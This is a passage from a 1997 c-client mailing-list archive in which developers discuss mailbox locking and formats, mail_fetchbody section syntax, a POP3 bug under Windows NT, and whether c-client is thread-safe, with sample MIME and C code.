Unix. I start up pine in one > window, minimize it, forget that I already have one pine session running > and start another one in another window, the first one becomes read-only. That is correct. And the first one will not see any updates. The only way to see updates is to close the read-only stream and open the mailbox anew. > I also see this case: > I start up pine at work (on a HP-UX box), keep reading ... > My wife starts up Eudora on our Mac at home (Uses POP, not IMAP) > accessing the same mailbox, and ... > pine gives up (dies) with access errors. This is because your system's POP server does not respect the locks that would cause c-client to go read-only. It just goes ahead and assumes that it can write into the mailbox. c-client (whether in Pine or in an imapd) sees that something happened to the mailbox. It doesn't know what happened, so the best that it can do is give up and say "access error". > Just curious, Mark: Could you give more details on the non-UNIX > mailbox format you use at UW ? There are several choices of format that support multiple read/write, all supported by c-client. . tenex and mtx format are what were used on the TOPS-20 system and by mm on UNIX. The only difference is that tenex uses UNIX-style newlines and mtx uses Internet-style (CR/LF) newlines. Yes, I know that the names should be the other way around. . mbx, our current favorite, is a descendent of mtx format. It uses Internet style newlines (it gets a speed advantage from not having to convert newlines) and has unique identifier support. It's the fastest and most featureful of all our existing formats. . mh format is what's used by the mh program. It doesn't have full c-client type features and is a bit slow. . mx format is an advanced version with full c-client type features, but it is a bit slow. I may be working on improving the performance of mx. At the present time, there isn't much documentation about all of this except for some older information in the Pine technical notes. I intend to write up some documentation in the future. From pinedev@shivax2.cac.washington.edu Wed Mar 5 14:41:42 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Wed, 5 Mar 1997 14:41:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA24267 for ; Wed, 5 Mar 1997 14:41:41 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id OAA08412 for c-client-out; Wed, 5 Mar 1997 14:38:17 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail.netmanage.com (mail.netmanage.com [156.27.1.4]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id OAA08408 for ; Wed, 5 Mar 1997 14:38:14 -0800 Received: from admin.diego.netmanage.com by mail.netmanage.com (SMI-8.6/SMI-SVR4) id OAA21759; Wed, 5 Mar 1997 14:38:08 -0800 Received: by admin.diego.netmanage.com (SMI-8.6/SMI-SVR4) id OAA15731; Wed, 5 Mar 1997 14:38:06 -0800 From: "Syd Logan" Message-Id: <970305143806.ZM15729@admin.diego.netmanage.com> Date: Wed, 5 Mar 1997 14:38:05 -0800 In-Reply-To: Mark Crispin "Re: Unsolicited FLAGS updates" (Mar 5, 12:10pm) References: X-Mailer: Z-Mail (4.0b.820 20aug96) To: Mark Crispin , Subu Rama Subject: Re: Unsolicited FLAGS updates Cc: Syd Logan , erik.forsberg@ISOCOR.COM, c-client@cac.washington.edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii -----BEGIN PGP SIGNED MESSAGE----- On 1997-3-5 at 12:10pm Mark Crispin write: > Subject Re: Unsolicited FLAGS updates > On Wed, 5 Mar 1997 08:45:29 -0500 (EST), Subu Rama wrote: > > "Becomes read-only". e.g. the pine MUA on Unix. I start up pine in one > > window, minimize it, forget that I already have one pine session running > > and start another one in another window, the first one becomes read-only. > > That is correct. And the first one will not see any updates. The only way to > see updates is to close the read-only stream and open the mailbox anew. > This is a paradigm that initially I believe I can work with (see below) - now that I understand it. Thanks Mark for straightening me out. > > I also see this case: > > I start up pine at work (on a HP-UX box), keep reading ... > > My wife starts up Eudora on our Mac at home (Uses POP, not IMAP) > > accessing the same mailbox, and ... > > pine gives up (dies) with access errors. (stuff snipped) > > At the present time, there isn't much documentation about all of this except > for some older information in the Pine technical notes. I intend to write up > some documentation in the future. > That'd be great. Let me make sure I have it straight - if the server I connect to happens to base itself upon one of the more advanced formats that you mentioned (e.g. mx format), then both MUAs will never see stream->rdonly go to 1, and flags changes will be distributed by the server to all MUAs who have the same mailbox open (as long as the server is doing the right thing, that is)? >-- End of excerpt from Mark Crispin -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMx31yyq6Vb4KKrBpAQFYbgP/YIIeURCj6b6zAiIUfFkHYkpM5mKO43Oy w+MlGf9n+dL2DvOJEUl+wy+5SQlUQC9MTGNe360uhYnbYzLh4Jwo5MXT5n0S2mo1 dBDRO9KY03jUxDjw1jci/4WTeKepNvLWg4v+e3EhX9Fo/mPa+S2ibhj7130AiVZb vz0m2bRvUXI= =gVO5 -----END PGP SIGNATURE----- -- Syd Logan Senior Software Engineer, Z-Mail for Unix NetManage, Inc. http://www.users.cts.com/crash/s/slogan My PGP public key is available at: http://www-swiss.ai.mit.edu/~bal/pks-toplev.html - search for "Syd Logan" From pinedev@shivax2.cac.washington.edu Wed Mar 5 14:50:51 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Wed, 5 Mar 1997 14:50:45 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA24500 for ; Wed, 5 Mar 1997 14:50:44 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id OAA17351 for c-client-out; Wed, 5 Mar 1997 14:46:33 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA17347 for ; Wed, 5 Mar 1997 14:46:30 -0800 Received: from Ikkoku-Kan.Panda.COM (scipio@UW-Gateway.Panda.COM [192.107.14.65]) by Tomobiki-Cho.CAC.Washington.EDU id OAA02827; Wed, 5 Mar 1997 14:46:27 -0800 (PST) Received: from localhost (sarr@localhost [127.0.0.1]) by Ikkoku-Kan.Panda.COM id OAA01017; Wed, 5 Mar 1997 14:46:22 -0800 (PST) Date: Wed, 5 Mar 1997 14:45:37 -0800 (PST) From: Mark Crispin Subject: Re: Unsolicited FLAGS updates To: Syd Logan cc: Subu Rama , erik.forsberg@ISOCOR.COM, c-client@cac.washington.edu In-Reply-To: <970305143806.ZM15729@admin.diego.netmanage.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 5 Mar 1997 14:38:05 -0800, Syd Logan wrote: > That'd be great. Let me make sure I have it straight - if the server I > connect to happens to base itself upon one of the more advanced formats that > you mentioned (e.g. mx format), then both MUAs will never see stream->rdonly > go to 1, and flags changes will be distributed by the server to all MUAs who > have the same mailbox open (as long as the server is doing the right thing, > that is)? Yes. From pinedev@shivax2.cac.washington.edu Thu Mar 6 14:29:59 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 6 Mar 1997 14:29:54 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA16557 for ; Thu, 6 Mar 1997 14:29:52 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id OAA14737 for c-client-out; Thu, 6 Mar 1997 14:21:49 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA14733 for ; Thu, 6 Mar 1997 14:21:46 -0800 Received: from shiva1.cac.washington.edu (dlm@localhost) by shiva1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA17256; Thu, 6 Mar 1997 14:21:25 -0800 Date: Thu, 6 Mar 1997 14:21:22 -0800 (PST) From: David L Miller To: Syd Logan cc: Mark Crispin , Subu Rama , erik.forsberg@ISOCOR.COM, c-client@cac.washington.edu Subject: Re: Unsolicited FLAGS updates In-Reply-To: <970305143806.ZM15729@admin.diego.netmanage.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 5 Mar 1997, Syd Logan wrote: > That'd be great. Let me make sure I have it straight - if the server I connect > to happens to base itself upon one of the more advanced formats that you > mentioned (e.g. mx format), then both MUAs will never see stream->rdonly go to > 1, and flags changes will be distributed by the server to all MUAs who have the > same mailbox open (as long as the server is doing the right thing, that is)? Yes, but one caveat is that expunge is disallowed in mtx, tenex, and mbx formats when multiple streams have a folder open. The mx format was designed to allow expunge while a folder is open multiple times. Unfortunately the performance penalty of going to this format is too severe to be practical in most situations... -- David L. Miller | 640K ought to be enough for Software Engineer, Pine Development Team | anybody. -- Bill Gates, in 1981 Box 354841, University of Washington | 4545 15th Ave NE, Seattle WA 98105, USA | Phone: (206)685-6240 FAX: (206)685-4045 | From pinedev@shivax2.cac.washington.edu Thu Mar 6 17:57:38 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 6 Mar 1997 17:57:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id RAA21796 for ; Thu, 6 Mar 1997 17:57:37 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id RAA19910 for c-client-out; Thu, 6 Mar 1997 17:54:45 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from world.net (sydney2.world.net [198.142.12.2]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id RAA19906 for ; Thu, 6 Mar 1997 17:54:39 -0800 Received: from benjii (benjii.tactica.com [198.145.12.1]) by world.net (8.8.5/8.6.6) with SMTP id MAA05352 for ; Fri, 7 Mar 1997 12:54:25 +1100 (EST) Received: from engr15 by benjii (4.1/SMI-4.1) id AA19160; Thu, 6 Mar 97 17:53:53 PST Message-Id: <331F7519.5AB3@tactica.com> Date: Thu, 06 Mar 1997 17:53:29 -0800 From: Kenneth Maupin Organization: Tactica Corporation X-Mailer: Mozilla 3.0 (WinNT; I) Mime-Version: 1.0 To: c-client@cac.washington.edu Subject: What's the proper syntax for the mail_fetchbody() section specifier? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I'm relatively new to c-client and I'm having trouble getting mail_fetchbody() to behave as advertised on a POP3 mailbox. Could someone give me the mail_fetchbody() syntax for retrieving each of the body parts from the following message? From homer@simpsons.com Thu Mar 6 15:55:52 1997 Date: Thu, 06 Mar 1997 15:55:27 -0800 From: homer@simpsons.com Mime-Version: 1.0 To: bart@simpsons.com Subject: Why, you little... Content-Type: multipart/mixed; boundary="------------D6B22086369" This is a multi-part message in MIME format. --------------D6B22086369 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit This is plain text. --------------D6B22086369 Content-Type: multipart/mixed; boundary="------------AC1457D9876" --------------AC1457D9876 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit This is more plain text. --------------AC1457D9876 Content-Type: text/html; charset=us-ascii; name="doh.html" D'oh! D'oh! --------------AC1457D9876-- --------------D6B22086369-- I'm thinking mail_fetchbody() would be called as follows for this message... char *part1, *part21, *part22; part1 = mail_fetchbody(stream, msg, "1", &length); /* text/plain #1 */ part21 = mail_fetchbody(stream, msg, "2.1", &length); /* text/plain #2 */ part22 = mail_fetchbody(stream, msg, "2.2", &length); /* text/html */ Is the format of the section specifier correct? Alternatively, is there a better way to get the individual parts of a message body? Any advice would be appreciated. Thanks! - - - - - -*- - - - - - - Kenneth Maupin Tactica Corporation - - Software Developer 10450 SW Nimbus Ave. - - kenm@tactica.com Portland, OR 97223 - - (503) 620-7800 - - - - - - -*- - - - - - From pinedev@shivax2.cac.washington.edu Thu Mar 6 18:07:48 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 6 Mar 1997 18:07:48 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id SAA22548 for ; Thu, 6 Mar 1997 18:07:47 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id SAA11694 for c-client-out; Thu, 6 Mar 1997 18:04:22 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id SAA11690 for ; Thu, 6 Mar 1997 18:04:19 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id SAA18546; Thu, 6 Mar 1997 18:04:15 -0800 Date: Thu, 6 Mar 1997 18:03:49 -0800 (PST) From: Mark Crispin Subject: re: What's the proper syntax for the mail_fetchbody() section specifier? To: Kenneth Maupin cc: c-client@cac.washington.edu In-Reply-To: <331F7519.5AB3@tactica.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Be sure that you have the latest c-client sources. There was a bug in POP3 body part fetching in an older version. From pinedev@shivax2.cac.washington.edu Thu Mar 6 19:11:35 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 6 Mar 1997 19:11:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id TAA24548 for ; Thu, 6 Mar 1997 19:11:34 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id TAA12744 for c-client-out; Thu, 6 Mar 1997 19:03:54 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from world.net (sydney2.world.net [198.142.12.2]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id TAA12737; Thu, 6 Mar 1997 19:03:45 -0800 Received: from benjii (benjii.tactica.com [198.145.12.1]) by world.net (8.8.5/8.6.6) with SMTP id OAA07278; Fri, 7 Mar 1997 14:03:35 +1100 (EST) Received: from engr15 by benjii (4.1/SMI-4.1) id AA19445; Thu, 6 Mar 97 19:02:59 PST Message-Id: <331F854A.4E88@tactica.com> Date: Thu, 06 Mar 1997 19:02:34 -0800 From: Kenneth Maupin Organization: Tactica Corporation X-Mailer: Mozilla 3.0 (WinNT; I) Mime-Version: 1.0 To: Mark Crispin Cc: c-client@cac.washington.edu Subject: Re: What's the proper syntax for the mail_fetchbody() section specifier? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Mark Crispin wrote: > > Be sure that you have the latest c-client sources. There was a bug in POP3 > body part fetching in an older version. Mark, Yup, that was the problem -- the buggy sources are dated 15 January (in "README-FIRST"). The sources dated 24 February work correctly. Thanks! - Ken - From pinedev@shivax2.cac.washington.edu Tue Mar 11 13:09:16 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Tue, 11 Mar 1997 13:09:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id NAA22471 for ; Tue, 11 Mar 1997 13:09:15 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id NAA12437 for c-client-out; Tue, 11 Mar 1997 13:03:42 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from isp3sc02.amteva.com ([38.248.48.12]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id NAA12405 for ; Tue, 11 Mar 1997 13:03:12 -0800 Subject: A newbie question..... To: c-client@cac.washington.edu Date: Tue, 11 Mar 1997 15:59:21 -0500 (EST) From: "Nagendran Parasu" Organization: Amteva Technologies Inc. Phone: (804)-762-5514 Reply-To: nagu@AMTEVA.COM From: nagu@AMTEVA.COM X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Message-ID: <3325c7aa0.5d6d@isp3sc02.amteva.com> Content-Transfer-Encoding: 7bit hi, I am new to c-client and would appreciate if anyone can help me with the following: 1. How do I scan the whole message to find out the number of sections it has? I need this to specify the section in mail_fetchbody() calls. Is there any way to step thru the linked list of attachments? 2. How to get the headers in each mime attachment? for example, my message looks like this . . . . --------------30F532636978 Content-Type: application/octet-stream; name="REQ.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="REQ.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAOwADAP7/CQAGAAAAAAAAAAAAAAAEAAAAAQAAAAAA . . . Do I have to fetch the text for that section and parse it myself? And can I add my own fields here with attachments? Let's say I want to add Content-Author: nagu parasu Content-Valid-Till: 3rd december, etc., I could not find any FAQ's other than the internal.doc that came with the source. Thanks, nagu ------------------------------------------------------------------------------ Nagendran Parasu email: nagu@amteva.com Amteva Technologies Inc., Phone: 804-762-5514 5040, Sadler Road, Fax: 804-762-5542 Glen Allen, VA 23060 http://www.amteva.com ------------------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 12 13:12:35 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Wed, 12 Mar 1997 13:12:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA14075 for ; Wed, 12 Mar 1997 13:12:33 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id NAA06325 for c-client-out; Wed, 12 Mar 1997 13:07:53 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from world.net (sydney2.world.net [198.142.12.2]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA06321 for ; Wed, 12 Mar 1997 13:07:48 -0800 Received: from benjii (benjii.tactica.com [198.145.12.1]) by world.net (8.8.5/8.6.6) with SMTP id IAA17822 for ; Thu, 13 Mar 1997 08:07:08 +1100 (EST) Received: from engr15 by benjii (4.1/SMI-4.1) id AA19831; Wed, 12 Mar 97 13:06:21 PST Message-Id: <33271A92.50ED@tactica.com> Date: Wed, 12 Mar 1997 13:05:22 -0800 From: Kenneth Maupin Organization: Tactica Corporation X-Mailer: Mozilla 3.0 (WinNT; I) Mime-Version: 1.0 To: c-client@cac.washington.edu Subject: Problem with POP message fetching under NT... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I'm having trouble getting an NT-based c-client application to retrieve messages from a POP server using mail_fetchenvelope() and mail_fetchstructure(). After tracing with a debugger, I found that the call to fread() in pop3_header() (pop3.c, line 480) consistently raises an access violation. The same application works fine when built and run under Linux 2.0.12 using GCC 2.7.2. I'm using the following environment on the NT side... - NT 4 Workstation - c-client library dated 24 February in README-FIRST - Visual C++ 4.2 - Compiler options... - Application: /MTd /Zi /Gm /GX /I. /nologo /YX - c-client: /I$C /MT /W3 /DWIN32 /nologo $(EXTRACFLAGS) /Zi - Linker options... - Application: /debug cclient.lib wsock32.lib winmm.lib advapi32.lib - c-client: /nologo /debug The linker sometimes, but not always, complains about a "libcmt.lib" library conflict (with "libcmtd.lib"?) when linking the application. Below are a simplified version of the application I'm building, which fails in the same place as the complete application, and its makefile. mail_open() succeeds, so I'm sure the application is able to connect to the POP server. (I've verified this with a protocol debug and "netstat -a" on the server-side.) I'd be happy to provide further details. Any suggestions would be much appreciated. Thanks! - Ken Maupin - kenm@tactica.com --------------------------------------------------------------------- poptest.c --------------------------------------------------------------------- #include /* Insert appropriate values here */ #define POP_MAILBOX_NAME "{host/pop3}" #define POP_USERNAME "username" #define POP_PASSWORD "password" main() { long msgNum; MAILSTREAM *popStream; #include popStream = mail_open(NIL, POP_MAILBOX_NAME, NIL); for (msgNum = 1; msgNum <= popStream->nmsgs; msgNum++) { mail_fetchstructure(popStream, msgNum, NIL); } mail_close(popStream); } void mm_login (NETMBX *mailbox, char * username, char * password, long trials) { strcpy(username, POP_USERNAME); strcpy(password, POP_PASSWORD); } /* mm_login() */ void mm_searched (MAILSTREAM *stream,unsigned long number) {} void mm_exists (MAILSTREAM *stream,unsigned long number) {} void mm_expunged (MAILSTREAM *stream,unsigned long number) {} void mm_flags (MAILSTREAM *stream,unsigned long number) {} void mm_notify (MAILSTREAM *stream,char * string,long errflg) {} void mm_list (MAILSTREAM *stream,int delimiter,char *mailbox,long attributes) {} void mm_lsub (MAILSTREAM *stream,int delimiter,char *mailbox,long attributes) {} void mm_status (MAILSTREAM *stream,char *mailbox,MAILSTATUS *status) {} void mm_log (char *string,long errflg) {} void mm_dlog (char *string){} void mm_critical (MAILSTREAM *stream) {} void mm_nocritical (MAILSTREAM *stream) {} long mm_diskerror (MAILSTREAM *stream,long errcode,long serious) {} void mm_fatal (char *string) {} --------------------------------------------------------------------- makefile --------------------------------------------------------------------- CC = cl LD = link CFLAGS = /MTd /Zi /Gm /GX /I. /nologo /YX LDFLAGS = /debug cclient.lib wsock32.lib winmm.lib advapi32.lib poptest.exe: poptest.obj $(LD) /out:$@ poptest.obj $(LDFLAGS) From pinedev@shivax2.cac.washington.edu Wed Mar 12 14:04:28 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Wed, 12 Mar 1997 14:04:27 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA15033 for ; Wed, 12 Mar 1997 14:04:26 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id OAA07464 for c-client-out; Wed, 12 Mar 1997 14:01:05 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA07454 for ; Wed, 12 Mar 1997 14:01:00 -0800 Received: from Ikkoku-Kan.Panda.COM (death@UW-Gateway.Panda.COM [192.107.14.65]) by Tomobiki-Cho.CAC.Washington.EDU id OAA07799; Wed, 12 Mar 1997 14:00:57 -0800 (PST) Received: from localhost (dbi@localhost [127.0.0.1]) by Ikkoku-Kan.Panda.COM id OAA12632; Wed, 12 Mar 1997 14:00:50 -0800 (PST) Date: Wed, 12 Mar 1997 13:34:03 -0800 (PST) From: Mark Crispin Subject: re: Problem with POP message fetching under NT... To: Kenneth Maupin cc: c-client@cac.washington.edu In-Reply-To: <33271A92.50ED@tactica.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I just tried it on my NT 3.51 box and the problem did not occur. Make sure that you have the latest sources. There is a known bug in text fetching with earlier versions of the POP3 support in imap-4.1. From pinedev@shivax2.cac.washington.edu Thu Mar 20 11:03:20 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 11:03:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA27877 for ; Thu, 20 Mar 1997 11:03:19 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id LAA25511 for c-client-out; Thu, 20 Mar 1997 11:00:35 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from world.net (sydney2.world.net [198.142.12.2]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA25507 for ; Thu, 20 Mar 1997 11:00:29 -0800 Received: from benjii (benjii.tactica.com [198.145.12.1]) by world.net (8.8.5/8.6.6) with SMTP id GAA09462 for ; Fri, 21 Mar 1997 06:00:19 +1100 (EST) Received: from engr15 by benjii (4.1/SMI-4.1) id AA11481; Thu, 20 Mar 97 10:59:46 PST Message-Id: <33318913.21B1@tactica.com> Date: Thu, 20 Mar 1997 10:59:31 -0800 From: Kenneth Maupin Organization: Tactica Corporation X-Mailer: Mozilla 3.0 (WinNT; I) Mime-Version: 1.0 To: c-client@cac.washington.edu Subject: In search of further information about c-client and multi-threading... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, Is there documentation anywhere that describes in detail the issues involved in using c-client with a multi-threaded application? Pointers to sample code would also be helpful. I'm new to multi-threaded application development and am looking for some elaboration on the documentation in "Internal.DOC". Thanks! - Ken Maupin - kenm@tactica.com From pinedev@shivax2.cac.washington.edu Thu Mar 20 11:45:44 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 11:45:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA28936 for ; Thu, 20 Mar 1997 11:45:43 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id LAA06544 for c-client-out; Thu, 20 Mar 1997 11:42:32 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from THOR.INNOSOFT.COM (THOR.INNOSOFT.COM [192.160.253.66]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA06538 for ; Thu, 20 Mar 1997 11:42:29 -0800 Received: from eleanor.innosoft.com by INNOSOFT.COM (PMDF V5.1-8 #8694) with SMTP id <01IGQ30G1UYA8WWP4Q@INNOSOFT.COM> for c-client@cac.washington.edu; Thu, 20 Mar 1997 11:41:25 PST Date: Thu, 20 Mar 1997 11:42:39 -0800 (PST) From: Chris Newman Subject: Re: In search of further information about c-client and multi-threading... In-reply-to: <33318913.21B1@tactica.com> To: Kenneth Maupin Cc: c-client@cac.washington.edu Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII On Thu, 20 Mar 1997, Kenneth Maupin wrote: > Is there documentation anywhere that describes in detail the issues > involved in using c-client with a multi-threaded application? Pointers > to sample code would also be helpful. I'm new to multi-threaded > application development and am looking for some elaboration on the > documentation in "Internal.DOC". c-client is not designed for use with a multi-threaded application. It uses tons of non-thread safe library calls (strtok, readdir, ctime, gethostbyname, etc) and has lots of global variables. While a lot of it passes context around in the form of a MAILSTREAM, the library often passes around NIL MAILSTREAMs. The effect is that almost every function call has to be changed to pass context. You're probably better off starting from scratch and just stealing the good ideas from c-client (e.g. driver model, bezerk UID model, etc) if you want a multi-threaded application. From pinedev@shivax2.cac.washington.edu Thu Mar 20 12:50:15 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 12:50:15 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA30332 for ; Thu, 20 Mar 1997 12:50:14 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id MAA28423 for c-client-out; Thu, 20 Mar 1997 12:48:29 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA28419 for ; Thu, 20 Mar 1997 12:48:26 -0800 Received: from Ikkoku-Kan.Panda.COM (wml@UW-Gateway.Panda.COM [192.107.14.65]) by Tomobiki-Cho.CAC.Washington.EDU id MAA10746; Thu, 20 Mar 1997 12:48:23 -0800 (PST) Received: from localhost (whlam@localhost [127.0.0.1]) by Ikkoku-Kan.Panda.COM id MAA16361; Thu, 20 Mar 1997 12:48:18 -0800 (PST) Date: Thu, 20 Mar 1997 12:42:09 -0800 (PST) From: Mark Crispin Subject: Re: In search of further information about c-client and multi-threading... To: Chris Newman cc: Kenneth Maupin , c-client@cac.washington.edu In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Thu, 20 Mar 1997 11:42:39 -0800 (PST), Chris Newman wrote: > c-client is not designed for use with a multi-threaded application. It > uses tons of non-thread safe library calls (strtok, readdir, ctime, > gethostbyname, etc) and has lots of global variables. A slight correction: Most of the global variables in c-client are those which are appropriate for all threads, and probably should be shared across threads. The non-thread safe library calls are a different matter. Personally, I consider that to be bad design in the C library. While some, such as strtok(), are obviously problematic (by the way, I think that all 